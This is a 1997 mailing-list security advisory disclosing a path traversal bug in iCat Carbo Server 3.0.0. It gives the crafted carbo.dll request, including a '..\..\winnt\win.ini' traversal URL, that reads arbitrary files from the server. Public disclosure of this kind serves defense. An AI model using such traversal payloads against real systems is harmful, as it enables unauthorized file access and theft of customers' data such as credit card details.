Security bug in iCat Suite version 3.0

Mikael Johansson (Mikael.Johansson@ABC.SE)
Sat, 08 Nov 1997 11:11:12 +0100

iCat Carbo Server is a program used to create interactive shopping
catalogs for the www. It was selected by PC Magazine's editors as the
best Web storefront creation software.

I've found a bug in the iCat Carbo Server Version 3.0.0. The bug let's
everyone view any file at a system that is using Carbo (except for files
with some special characters).

See for yourselves...

http request:
http://host/carbo.dll?icatcommand=file_to_view&catalogname=catalog

http answer:
[iCat Carbo Server (ISAPI, Release) Version 3.0.0 Release Build 244]

Error: (-1007) cannot open file 'C:\web\carbohome\file_to_view.htm'

To view their c:\winnt\win.ini:
http://host/carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog

As you can imagine this bug is rather dangerous. For example an evil
hacker could steal creditcard information from users that have bought
something at a site using Carbo Server 3.0.0.

Mikael Johansson
Mikael.Johansson@abc.se